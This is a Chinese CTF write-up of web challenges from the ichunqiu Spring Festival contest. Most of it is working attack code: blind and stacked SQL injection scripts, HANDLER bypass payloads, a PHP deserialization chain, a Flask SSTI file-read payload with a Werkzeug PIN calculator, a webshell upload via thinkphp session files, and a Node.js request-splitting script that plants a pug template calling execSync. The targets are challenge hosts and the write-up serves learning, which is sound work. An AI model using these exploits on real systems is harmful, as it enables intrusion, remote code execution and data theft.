打了ichunqiu的新春公益赛,web题大部分比较友好。
Day_1 简单的招聘系统 进去一个登录界面,可以注册,开始看到forgot,但是没有忘记密码的链接,注册登进去后,有个查询界面需要admin权限,然后注册admin用户也没有权限,之后试着可以用万能密码进来,然后再查询key的界面测了半天,啥也没出来,后来一想万能密码都可以登,那么登录出就可以注了。。。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsurl="http://724572ef5f71464aa9d50b6a9540181cf1f2d153e3ee45e7.changame.ichunqiu.com/index.php" flag="" proxies = { "http" : "http://127.0.0.1:8080" , } for i in range(1 ,50 ): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload=r"admin' and 1=(ascii(mid((select flaaag from flag limit 1 offset 0),{},1))>{}) or '1" data={"lname" :payload.format(i,mid),"lpass" :"ff" } print(payload.format(i,mid)) r=requests.post(url,data=data) if b"./zhaopin.php" in r.content: low=mid+1 else : high=mid mid=(low+high)//2 flag+=chr(mid) print(flag)
更新:之前说在key那里试了半天没有成功,当时order by 时题目报错一直在猜后台的sql语句,后来看了颖奇师傅的wp后 ,这里尽管报错还是可以注入的。
首先用oeder by
查列数
然后看回显位,为2,查表
查列
查flag
upload 这题就不用说了,啥过滤都没有。
babyphp 扫目录有www.zip,看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php require_once ('lib.php' );echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>' ;if ($_SESSION['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users=new User(); $users->update(); if ($_SESSION['login' ]===1 ){ require_once ("flag.php" ); echo $flag; } ?>
没有用die用的echo,之后的程序还会执行,而且
1 2 3 4 function safe ($parm) { $array= array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace($array,'hacker' ,$parm); }
safe函数还会改变序列化后的值,如果序列化内容有数组里的字符串,那么序列化后的值就会变长,我们可以利用这点和php反序列化的容错性来构造反序列化链,
通过反序列化最后触发login(),返回admin的密码,登录得到flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php class dbCtrl { public $name = "admin" ; public $password = "admin" ; public $mysqli; public $token; } Class UpdateHelper { public $id; public $newinfo; public $sql; public function __construct ($newInfo, $sql) { $newInfo = unserialize($newInfo); $upDate = new dbCtrl(); } public function __destruct () { echo $this ->sql; } } class Info { public $age; public $nickname; public $CtrlCase; public function __construct ($age, $nickname) { $this ->age = $age; $this ->nickname = $nickname; } public function __call ($name, $argument) { echo $this ->CtrlCase->login($argument[0 ]); } } class User { public $id = 2 ; public $age = 5 ; public $nickname; public function __destruct () { return file_get_contents($this ->nickname); } public function __toString () { $this ->nickname->update($this ->age); return "0-0" ; } } $user=new dbCtrl(); $i1 = new Info("23" ,"ddd" ); $i1->CtrlCase=$user; $n=new User(); $n->nickname=$i1; $n->age='select "1", "21232f297a57a5a743894a0e4a801fc3"' ; $up=new UpdateHelper(NULL ,"ddd" ); $up->sql=$n; $i = new Info("23" ,$up); echo serialize($i);
1 O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";i:2;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";s:3:"ddd";s:8:"CtrlCase";O:6:"dbCtrl":4:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;}
接下来就是计算了,
1 2 ;s:8:"nickname";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";i:2;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";s:3:"ddd";s:8:"CtrlCase";O:6:"dbCtrl":4:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;} 这段长度是373
我们加一个*
替换成hacker
后就会多5个字符,所以要添加74个*
加1个into
加1个union
正好74*5+1*2+1*1=373
。
在本地调试的时候
谷歌一下是因为
1 $updateAction=new UpdateHelper($_SESSION['id' ],$Info,"update user SET age=$age,nickname=$nickname where id=" .$_SESSION['id' ]);
1 O:4:"Info":3:{s:3:"age";s:455:"**************************************************************************unioninto";s:8:"nicknami";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";i:2;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";s:3:"ddd";s:8:"CtrlCase";O:6:"dbCtrl":4:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;}";s:8:"nickname";s:4:"dddd";s:8:"CtrlCase";N;}
上面的$nickname是一个Object,所以报错,我们把payload中的nickname改为同长度的其他变量名即可。
盲注 过滤了select = > <
等。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport timeflag="" url="http://b2aa87e875e24d8594bc523bf9ca972ed4b62c6107cb493d.changame.ichunqiu.com/?id=" proxies = { "http" : "http://127.0.0.1:8080" , } dic="qwertyuiopasdfghjklzxcvbnm1234567890{}-" for i in range(1 ,45 ): for mid in dic: payload=r"if(ascii(substr(fl4g,{},1))%20regexp%20{},sleep(2),0)" url_1=url+payload.format(i,ord(mid)) print(payload.format(i,ord(mid))) start_time=time.time() r=requests.get(url_1) end_time=time.time() if end_time-start_time>=2 : flag+=mid print(flag) break
Day_2 easysqli_copy 考点:堆叠注入
打开题目给了源码,
这里说一下sql的预编译和模拟预编译,
PDO在默认情况下,是允许多句执行和模拟预编译的,题目源码中在声明PDO实例的时候没有指定不允许多语句执行,不允许模拟预编译。所以这道题可以通过堆叠注入解。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport timeproxies = { "http" : "http://127.0.0.1:8080" , } password="" url = "http://a6f0af74cb42409c8b829fdba30975255144c88cd6c54dd0.changame.ichunqiu.com/?id" string = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}-," for i in range(1 ,50 ): for j in string: s = j.encode('hex' ) yuju="select sleep(3*(ascii(mid((select fllllll4g from table1),{},1))={}));" yuju=yuju.format(i,ord(j)) payload="=0%df' ;SET%20@SQL=0x{};PREPARE exesql FROM @SQL;EXECUTE exesql;" .format(yuju.encode("hex" )) st_time=time.time() r = requests.get(url+payload) e_time=time.time() if e_time-st_time >=3 : password = password + j print password break
总结一下可以堆叠注入的场景
Mysqli的multi_query()
PDO默认情况下的query()
参考链接
从宽字节注入认识PDO的原理和正确使用
https://xz.aliyun.com/t/3950
https://xz.aliyun.com/t/7132
blacklist 考点 :mysql新特性handler
打开题目,界面和强网杯的随便注界面类似,但是过滤了 set、prepare等字段。所以需要采用新的方法来绕过。
1 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i" ,$inject);
之前看一叶飘零师傅的博客里的FudanCTF某道题时,里面用了handler这个新特性:
https://dev.mysql.com/doc/refman/8.0/en/handler.html
1 2 3 4 5 6 7 8 9 10 HANDLER tbl_name OPEN [ [AS ] alias ]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE
payload:
1 2 inject=0%27;show%20tables; inject=0%27;handler%20`FlagHere`%20open%20as%20`ss`;handler%20`ss`%20read%20next;
Ezsqli 考点 :sys.schema_table_statistics_with_buffer查列名 无列名按位爆破字段。
过滤了 in 所以常规方法查表名,列名都不可以了。用sys.schema_table_statistics_with_buffer来查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport timeproxies = { "http" : "http://127.0.0.1:8080" , } password="" url = "http://42b9a14929e64c8daf5f5f5a9380b26366da480841da49c6.changame.ichunqiu.com/" string = ",0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}-,abcdefghijklmnopqrstuvwxyz" for i in range(1 ,50 ): for j in range(32 ,126 ): payload="ascii(mid((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))-{}" .format(i,j) data={"id" :payload} r = requests.post(url,data=data) if " Nu1L" in r.content: password = password + chr(j+1 ) print password break
不知道列名,用无列名注入,有过滤了union select ,怎么试都没绕过。然后翻大佬的博客,看到按位爆破方法。参考链接,但是文中的方法在本题有点问题,需要边修改边跑,还可以用十六进制来爆破,这里贴一下十六进制爆破的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsproxies = { "http" : "http://127.0.0.1:8080" , } url = "http://af4fcae52ce5463583151b28d2d6921e2843633f7f304a41.changame.ichunqiu.com/" string = "a-0123456789abcdefghijklmnopqrestuvwxyz_{}~" for i in range(1 ,50 ): for j in range(44 ,128 ): payload="ascii((select (select 1,0x{})<(select * from f1ag_1s_h3r3_hhhhh limit 1)))-48" .format(password+chr(j).encode("hex" )) print payload data={"id" :payload} r = requests.post(url,data=data,proxies=proxies) print r.status_code if " Nu1L" not in r.content: password = password + chr(j-1 ).encode("hex" ) print password break
Day_3 Flask_app 考点:flask ssti , 计算pin码
题目环境是python3 ,ssti payload
1 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/environ').read()}}
可以读文件,依次读
1 2 /sys/class/net/eth0/address #w网卡地址,然后转十进制 /etc/machine-id #machine-id
然后利用exp生成PIN码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '2485377957892' , 'f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int(h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len(num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range(0 , len(num), group_size)) break else : rv = num print(rv)
到/console下,运行命令读flag
easy_thinking 扫目录,给了源码,thinkphp6.0,看到
开了session,可以利用之前的session文件写入,大致测试下功能,看下源码,
search 可以将我们的输入存到session中。
然后先将PHPSESSID改为后缀为php,这样就可以生成sess_xxxxx.php,首先搜索
<?php phpinfo(); ?>
可以看到有disabled_function,然后传一个一句话,用蚁剑连上,上传一个之前很火的绕过php7大多版本的脚本,执行/readflag,完事。
Node_game 这题是改的nullcon HackIM 的一道题,仿着别人的wp,半天没做出来,最后看出题人的博客
http://blog.5am3.com/2020/02/11/ctf-node1/#HackTM-CTF-2020-Draw-with-us ,
漏洞的原理就是,node8及8以下的版本在设计上有缺陷,在发送的url请求中含有特殊构造的非ascii字符,node 在处理这样的请求时,会将其采用latin1
编码,并且会把前面构造的特殊字符转换位HTTP控制字符,形如
1 http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET
会变成
1 2 3 4 5 http://127.0.0.1:3000/query?param=1 HTTP/1.1 Host: 127.0.0.1:3000 Connection: keep-alive GET
这里贴一下5am3师傅的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 shellCodeRaw="\r\n" var shellCodeRawList = shellCodeRaw.split("" )var shellCodeAsciiList= [];for (var i=0 ;i<shellCodeRawList.length;i++){ tmp = shellCodeRawList[i].charCodeAt() shellCodeAsciiList.push(tmp.toString(16 )); } shellcode=shellCodeAsciiList.join("}\\u{01" ); shellcode= "\\u{01" +shellcode+"}" eval ("encodeURI('" +shellcode+"')" )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import requestsimport syspayloadRaw = """x HTTP/1.1 POST /file_upload HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942 Content-Length: 6279 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/?action=upload Upgrade-Insecure-Requests: 1 -----------------------------12837266501973088788260782942 Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug" Content-Type: ../template - global.process.mainModule.require('child_process').execSync('evalcmd') -----------------------------12837266501973088788260782942-- """ def getParm (payload) : payload = payload.replace(" " ,"%C4%A0" ) payload = payload.replace("\n" ,"%C4%8D%C4%8A" ) payload = payload.replace("\"" ,"%C4%A2" ) payload = payload.replace("'" ,"%C4%A7" ) payload = payload.replace("`" ,"%C5%A0" ) payload = payload.replace("!" ,"%C4%A1" ) payload = payload.replace("+" ,"%2B" ) payload = payload.replace(";" ,"%3B" ) payload = payload.replace("&" ,"%26" ) payload = payload.replace("global" ,"%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC" ) payload = payload.replace("process" ,"%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3" ) payload = payload.replace("mainModule" ,"%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5" ) payload = payload.replace("require" ,"%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5" ) payload = payload.replace("root" ,"%C5%B2%C5%AF%C5%AF%C5%B4" ) payload = payload.replace("child_process" ,"%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3" ) payload = payload.replace("exec" ,"%C5%A5%C5%B8%C5%A5%C5%A3" ) return payload def run (url,cmd) : payloadC = payloadRaw.replace("evalcmd" ,cmd) urlC = url+"/core?q=" +getParm(payloadC) requests.get(urlC) requests.get(url+"/?action=5am3_get_flag" ).text if __name__ == '__main__' : targetUrl = sys.argv[1 ] cmd = sys.argv[2 ] print run(targetUrl,cmd)
剩下一道exExpress坐了别的队的车。那道没做出来,以后补上吧。